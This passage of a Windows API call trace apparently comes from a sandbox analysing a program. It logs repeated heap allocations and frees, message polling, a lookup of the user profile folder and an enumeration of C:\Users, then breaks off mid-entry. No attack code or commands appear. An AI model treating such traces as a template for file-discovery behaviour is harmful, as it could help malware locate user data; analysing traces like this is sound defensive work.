[0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.345] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.347] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.347] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.347] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.348] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.348] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.348] PathFindFileNameW (pszPath="") returned="" [0066.348] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.348] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.348] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.348] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260000 | out: hHeap=0x5d0000) returned 1 [0066.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.349] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b348 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182fd0 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x498) returned 0x3289700 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260000 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe70 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f9e8 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260190 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fcb8 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f998 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260258 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd30 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fad8 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fa38 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f858 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602a8 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc18 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182ef0 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182f98 [0066.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183040 [0066.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0066.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32600c8 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f830 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb50 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff60 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f290 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb78 | out: hHeap=0x5d0000) returned 1 [0066.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fa10 